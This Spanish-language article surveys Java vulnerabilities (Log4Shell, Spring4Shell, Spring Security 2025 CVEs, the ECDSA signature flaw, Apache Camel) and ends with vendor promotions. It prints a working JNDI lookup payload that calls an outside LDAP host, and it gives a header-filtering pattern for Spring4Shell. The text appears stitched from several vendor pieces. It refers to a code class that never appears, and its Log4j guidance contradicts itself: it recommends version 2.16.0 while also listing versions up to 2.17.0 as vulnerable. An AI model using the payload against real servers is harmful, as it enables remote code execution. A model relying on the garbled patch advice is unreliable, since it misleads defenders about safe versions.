Mitigación de Vulnerabilidades en Aplicaciones Java

En el mundo digital actual, donde los negocios dependen cada vez más de aplicaciones Java, la seguridad se ha convertido en una preocupación primordial. Las aplicaciones Java son famosas por su compatibilidad con sistemas operativos como Windows, Linux y MacOS, pero esta ubicuidad también las convierte en un objetivo atractivo para los ciberatacantes. La exposición a vulnerabilidades puede tener consecuencias graves, desde la filtración de datos sensibles hasta la ejecución remota de código.

Vulnerabilidades Críticas en Java: Log4Shell y Spring4Shell

Log4Shell (CVE-2021-44228): Una Amenaza Generalizada

La vulnerabilidad Log4Shell es una falla de seguridad crítica descubierta a finales de 2021 en Apache Log4j, una popular biblioteca de registro de logs utilizada en aplicaciones Java. Esta vulnerabilidad se encuentra en la capacidad de Log4j de procesar mensajes de registro que contienen ciertas secuencias de escape, permitiendo a un atacante no autorizado y no autenticado ejecutar código arbitrario en un sistema objetivo.

El sistema Log4j permite que los mensajes registrados tengan cadenas de formato que hacen referencia a información externa, todo esto a través de la interfaz de directorio y nombres de Java, conocida como JNDI. Si Log4j encuentra una cadena como ${jndi:ldap://prplbx.com/security} dentro de un mensaje de registro, indica a JNDI que solicite al servidor LDAP en "prplbx.com" el objeto de "seguridad".

La falla dejó expuesto aproximadamente 17 mil paquetes de Java en el repositorio de Maven Central, uno de los repositorios Java más importantes, según las cifras presentadas por Google. Log4Shell fue considerada uno de los fallos de software más catastróficos de la historia debido a la amplia utilización de Apache Log4j 2. Algunas versiones de Log4j, en concreto, Log4j 2.17.0 e inferiores, sufren graves vulnerabilidades.

Los actores de amenazas pueden tomar el control casi total de los sistemas vulnerables enviando comandos maliciosos de búsqueda JNDI a través de Log4j. Mientras Apache trabajaba para solucionar Log4Shell, se identificaron fallos relacionados:

• CVE-2021-45046: Permite a los hackers enviar búsquedas JNDI maliciosas a sistemas con configuraciones no predeterminadas. Presente en las versiones 2.15 e inferiores.
• CVE-2021-45105: Permite ataques de denegación de servicio enviando mensajes maliciosos. Presente en las versiones 2.16 e inferiores.
• CVE-2021-44832: Vulnerabilidad de ejecución remota de código que requiere permisos elevados para su explotación.

Todas las versiones de Log4j 2, desde la 2.0-beta9 hasta la 2.17, son vulnerables a Log4Shell o a una vulnerabilidad relacionada. Solo los archivos "Log4j-core" contienen estas vulnerabilidades. Log4j puede aparecer en activos controlados por la empresa, activos de terceros (como servicios en la nube) y activos de proveedores de servicios con acceso a la red de la empresa. Dentro de las aplicaciones Java, las bibliotecas como Log4j suelen empaquetarse en archivos Java Archive o "archivos JAR", que pueden contener otros archivos JAR de forma anidada.

Spring4Shell (CVE-2022-22965): Una Vulnerabilidad Crítica en Spring Framework

Recientemente, Ridge Security descubrió una nueva vulnerabilidad RCE de 0 días en el Spring Framework. Un cambio introducido en Java 9 hace aproximadamente cinco años, combinado con el Spring Framework, puede dar lugar a aplicaciones vulnerables. Debido a la gravedad crítica de esta vulnerabilidad, se recomienda que los usuarios de Spring Framework comprueben si están afectados y tomen medidas de corrección inmediatas.

El Spring Framework es un framework ligero de Java ampliamente utilizado para construir aplicaciones empresariales escalables. A menudo se combina con Spring Security para implementar controles de autorización y acceso a nivel de método. Dado que muchos sistemas empresariales dependen de Spring, cualquier vulnerabilidad que afecte al framework puede tener un impacto generalizado, como lo demostró Spring4Shell (CVE-2022-22965), una vulnerabilidad crítica de ejecución remota de código que evidenció los riesgos de las aplicaciones no parchadas.

Detección de la Vulnerabilidad Spring4Shell

Para detectar si una aplicación es vulnerable a Spring4Shell, se pueden seguir estos pasos:

Comprobación de la versión de JDK:

• Ejecute el comando java-version para comprobar la versión del JDK.

Si la aplicación se despliega en forma de archivo .war:

1. Descomprima el archivo .war: cambie el sufijo del archivo .war por un archivo .zip.
2. Busque archivos con el formato spring-beans-*.jar (como spring-beans-5.3.16.jar) en el directorio descomprimido. Si existe, significa que la aplicación está desarrollada con Spring Framework.
3. Si los archivos spring-beans-*.jar no existen, busque el archivo CachedlntrospectionResults.class en el directorio descomprimido. Si existe, significa que la aplicación está desarrollada con Spring Framework.

Si la aplicación se ejecuta de forma independiente en forma de archivo .jar:

1. Descomprima el archivo .jar: cambie el sufijo del archivo .jar por zip y descomprima el archivo .zip.
2. Busque la existencia de archivos jar con el formato spring-beans-*.jar (por ejemplo, spring-beans-5.3.16.jar) en el directorio descomprimido. Si existe, significa que la aplicación está desarrollada con Spring Framework.
3. Si los archivos spring-beans-*.jar no existen, busque el archivo CachedIntrospectionResults.class en el directorio descomprimido.

RidgeBot ha soportado la detección de vulnerabilidades de Spring Framework desde la versión 3.9.4, permitiendo a los usuarios realizar pruebas automatizadas sobre los sistemas de destino.

Nuevas Vulnerabilidades en Spring Framework y Spring Security (2025)

En septiembre de 2025, se divulgaron dos nuevas vulnerabilidades, CVE-2025-41248 y CVE-2025-41249. Estos fallos afectan a Spring Framework y Spring Security, e involucran la detección incorrecta de anotaciones de seguridad en ciertas jerarquías de clases, lo que puede permitir la omisión de autorización o la exposición de datos sensibles.

• CVE-2025-41248: Afecta a Spring Security 6.4.0 a 6.4.9 y 6.5.0 a 6.5.3. El framework puede no detectar anotaciones de seguridad a nivel de método en superclases o interfaces genéricas, resultando en acceso no autorizado.
• CVE-2025-41249: Fallo relacionado en Spring Framework, impactando versiones 6.2.0 a 6.2.10, 6.1.0 a 6.1.22 y 5.3.0 a 5.3.44, así como versiones más antiguas no soportadas. El framework no reconoce consistentemente las anotaciones declaradas en métodos de jerarquías de tipos genéricos, lo que puede permitir la omisión de autorización.

El riesgo es significativo, ya que los atacantes podrían acceder a datos sensibles o ejecutar lógica de negocio fuera de los controles previstos, sin necesidad de evadir la autenticación. El equipo de Spring ha lanzado versiones parcheadas que corrigen estas vulnerabilidades, y se recomienda realizar actualizaciones inmediatas.

Versiones parcheadas:

• Spring Security: 6.4.10, 6.5.4
• Spring Framework: 6.2.11, 6.1.23, 5.3.45

Para las organizaciones que no pueden aplicar el parche de inmediato, se sugiere declarar temporalmente todos los métodos protegidos directamente en su clase objetivo.

Vulnerabilidad en la Validación de Firma ECDSA de Java (CVE-2022-21449)

Algunas versiones de Java se vieron afectadas por una vulnerabilidad en la validación de firma Elliptic Curve Digital Signature Algorithm (ECDSA), identificada como CVE-2022-21449. Esta falla permitiría a los atacantes firmar digitalmente archivos y otros datos del mismo modo que lo haría una entidad legítima. Un hacker podría hacer pasar descargas maliciosas como contenido inofensivo sin que las aplicaciones Java puedan identificar la actividad oculta. Si esta falla es explotada, toda clase de implementaciones Java estarían comprometidas, incluyendo las de comunicaciones cifradas, tokens de autenticación y actualizaciones de código.

El fabricante Oracle corrigió el error en su código en su parche de seguridad trimestral. Si bien inicialmente Oracle asignó a esta falla un puntaje de gravedad de 7.5/10, especialistas en ciberseguridad analizaron el reporte y concluyeron que la falla ameritaba una puntuación crítica de 10/10. Lo más relevante relacionado a esta falla es la facilidad con la que puede ser explotada, además de que es un error que puede ser común y el cual Oracle demoró mucho en mitigar.

Dicha vulnerabilidad surgió cuando parte del código de verificación de formas en Java 15 se reescribió de C++ a Java, incluyendo el código de verificación ECDSA. Las firmas ECDSA se componen de un par de números, denominados r y s. Para que una firma sea válida, el valor de r y s no puede ser 0, ya que en el proceso se multiplican estos números con otros valores. El error surgió porque, si bien el código C++ original verificaba que tanto r como s no fueran cero, el nuevo código Java no verificó esta condición.

Vulnerabilidad en Apache Camel (CVE-2025-27636 y CVE-2025-29891)

El 9 de marzo de 2025, se solucionó una vulnerabilidad en Apache Camel, una biblioteca Java ampliamente utilizada. Esta vulnerabilidad, inicialmente informada por el grupo de inteligencia sobre seguridad de Akamai (SIG) el 11 de marzo de 2025, fue abordada por Apache y se corrigió en las versiones 4.10.2, 4.8.5 y 3.22.4. A pesar de su clasificación de gravedad, se recomienda encarecidamente aplicar los parches lo antes posible.

Apache Camel es un marco de integración de código abierto que permite un intercambio de datos fluido entre diferentes sistemas, aplicaciones y servicios en la nube. La vulnerabilidad (CVE-2025-27636) se debe al filtrado incorrecto de encabezados de solicitud por parte de Camel. Esto significaba que un atacante podría inyectar encabezados arbitrarios en las solicitudes y hacer que Camel los reenviara a componentes internos, a pesar de que la lógica de filtrado solo coincidía con encabezados que comenzaban por "Camel" o "org.apache.camel".

El problema se solucionó forzando la uniformidad de uso de mayúsculas y minúsculas, eliminando la capacidad del atacante de manipularlas para evadir el filtro. Además de la protección contra la inyección, la corrección también mantiene la eficiencia con una comprobación optimizada.

El SIG de Akamai, en colaboración con Citi Cyber Security Operations, identificó un vector de explotación adicional derivado del mismo problema de filtrado, lo que llevó a la creación de una nueva CVE: CVE-2025-29891. Las vulnerabilidades dentro de las bibliotecas no solo tienen implicaciones directas para las aplicaciones, sino que también pueden ocultarse en lugares desconocidos, lo que hace extremadamente difícil detectarlas y mitigarlas. El uso generalizado de Apache Camel, junto con la posibilidad de ejecución remota de código, aumenta el nivel de gravedad.

Estrategias de Mitigación y Detección de Vulnerabilidades

Actualización y Parcheo

La revelación de vulnerabilidades como Log4Shell es un recordatorio de la importancia de la seguridad proactiva y el mantenimiento constante. La vulnerabilidad resalta la necesidad de no solo reaccionar ante las amenazas, sino de anticiparse a ellas con prácticas de seguridad robustas y educación continua.

Para Log4Shell:

• Los usuarios de Java 8 (o posterior) deben actualizar a la versión 2.16.0 de Log4j.
• Los usuarios de Java 7 deben actualizar a la versión 2.12.2 (cuando esté disponible).
• Para la corrección completa de Log4Shell y los fallos relacionados, las organizaciones deben actualizar todas las instancias de Log4j en sus redes a la última versión (o al menos a la versión 2.17.1). No hay un parche único disponible para todo el sistema, y la actualización de Java en sí no soluciona el problema.

Para Spring Framework y Spring Security:

• Actualizar a las versiones parcheadas: Spring Security 6.4.10, 6.5.4 y Spring Framework 6.2.11, 6.1.23, 5.3.45.

Para Apache Camel:

• Aplicar parches lo antes posible, actualizando a las versiones 4.10.2, 4.8.5 y 3.22.4.

Además, es crucial probar la versión de Java que se tiene para asegurar que es la más reciente. Se ha introducido en Java 7u10 la capacidad de gestionar cuándo y cómo las aplicaciones Java que no son de confianza se ejecutarán si se incluyen en una página web. A partir de Java 7 Update 21 (abril de 2013), los cambios en el comportamiento del plugin del explorador Java permiten tomar decisiones mejor documentadas antes de ejecutar el applet de Java en el explorador.

Medidas Preventivas Adicionales

• No permitir búsquedas de mensajes en aplicaciones vulnerables: Los atacantes utilizan las "sustituciones de búsqueda de mensajes" de Log4j para enviar comandos maliciosos. Eliminar esta función dificulta los ataques, aunque no es infalible.
• Eliminación de la clase JNDIlookup: En Log4j, la clase JNDIlookup controla cómo el registrador gestiona las búsquedas JNDI.
• Bloqueo del tráfico potencial de ataques: Los equipos de seguridad pueden utilizar firewalls de aplicaciones web (WAF), sistemas de detección y prevención de intrusiones (IDPS), EDR y otras herramientas de ciberseguridad para interceptar el tráfico hacia y desde servidores controlados por atacantes, bloqueando protocolos de uso común como LDAP o RMI.
• Poner en cuarentena los activos afectados: Si todo lo demás falla, los equipos de seguridad pueden poner en cuarentena los activos afectados en un segmento de red aislado al que no se puede acceder directamente desde Internet.
• Gestión de vulnerabilidades y parches: La implementación de programas formales de gestión de vulnerabilidades y gestión de parches puede ofrecer a los equipos de seguridad una forma más eficaz de monitorear los activos para detectar el retorno de las vulnerabilidades.
• Restauración periódica de peticiones de datos de seguridad: Para garantizar la seguridad constante del sistema, se recomienda restaurar periódicamente las peticiones de datos de seguridad que se decidió ocultar.
• Filtrado de encabezados de red: En el dispositivo de protección de la red, se pueden añadir reglas de filtrado para la cadena "class.module.*" basadas en el tráfico desplegado.
• Creación de clases globales: Cree la siguiente clase global en el paquete del proyecto del sistema de aplicación, y asegúrese de que esta clase sea cargada por Spring (se recomienda añadirla en el paquete donde se encuentra el Controlador).

Herramientas de Detección y Monitoreo

Mientras actualizar Log4j puede ser un proceso lento, los equipos de seguridad pueden utilizar herramientas continuas de análisis de vulnerabilidades y detección de amenazas para monitorear los activos orientados a Internet.

• Búsquedas manuales: Los equipos de seguridad pueden buscar manualmente los fallos de Log4j utilizando herramientas de desarrollo como Apache Maven para generar árboles de dependencias, o inteligencia de amenazas externas (como la lista de software conocido por sufrir Log4Shell compilada por CISA).
• Herramientas de escaneo de vulnerabilidades: Tras el descubrimiento de Log4Shell, algunas organizaciones lanzaron herramientas gratuitas diseñadas para encontrar vulnerabilidades de Log4J. RidgeBot, por ejemplo, ha soportado la detección de vulnerabilidades de Spring Framework desde la versión 3.9.4.
• Búsqueda de amenazas: Las herramientas de ciberseguridad, como las soluciones de gestión de eventos e información de seguridad (SIEM) y las plataformas de detección y respuesta ampliadas (XDR), pueden ayudar a detectar actividades anómalas asociadas a Log4Shell, como entradas de registro extrañas o patrones de tráfico sospechosos.
• Scripts para detección de Apache Camel: Se han desarrollado scripts de PowerShell y Bash que exploran directorios de forma recursiva, detectan archivos JAR de Apache Camel y muestran las aplicaciones potencialmente vulnerables. Para los clientes de Akamai Guardicore Segmentation, existe una consulta de Insight que puede identificar los activos vulnerables.

En Hackmetrix, nos especializamos en prevenir, detectar y mitigar este tipo de vulnerabilidades a través de nuestros servicios de Hacking Ético y nuestra Plataforma de Seguridad y Cumplimiento, asegurando que las empresas estén protegidas contra ataques cibernéticos. Con más de 35,000 nuevas CVEs registradas por NIST este año, los equipos de ciberseguridad enfrentan una presión creciente para mantenerse a la vanguardia. La explotación de vulnerabilidades sigue siendo el vector de ataque principal y, a medida que las amenazas cibernéticas se vuelven más sofisticadas, la detección proactiva es esencial para reducir la superficie de ataque y mitigar riesgos.

La SOC Prime Platform ofrece inteligencia de amenazas cibernéticas en tiempo real y algoritmos de detección curados para abordar amenazas emergentes. Todas las reglas son compatibles con múltiples formatos SIEM, EDR y Data Lake, y están mapeadas al framework MITRE ATT&CK®. Además, cada regla incluye enlaces CTI, líneas de tiempo de ataques, configuraciones de auditoría, recomendaciones de priorización y más contexto relevante. Los ingenieros de seguridad también pueden aprovechar Uncoder AI, un IDE y copiloto para ingeniería de detección, mejorado con un nuevo modo AI Chat Bot y soporte de herramientas MCP. Con Uncoder, los defensores pueden convertir IOCs en consultas de hunting personalizadas, crear código de detección a partir de reportes de amenazas, generar diagramas de flujo de ataque, habilitar predicción de etiquetas ATT&CK, optimizar consultas mediante IA y traducir contenido de detección entre múltiples plataformas.

tags: #mitigacion #de #vulnerabilidades #java